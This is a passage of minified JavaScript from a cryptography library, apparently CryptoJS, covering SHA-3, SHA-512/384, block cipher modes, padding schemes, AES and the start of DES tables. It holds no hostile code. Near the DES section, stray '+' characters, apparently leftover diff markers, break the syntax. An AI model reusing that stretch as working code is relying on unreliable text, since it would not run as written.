* n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 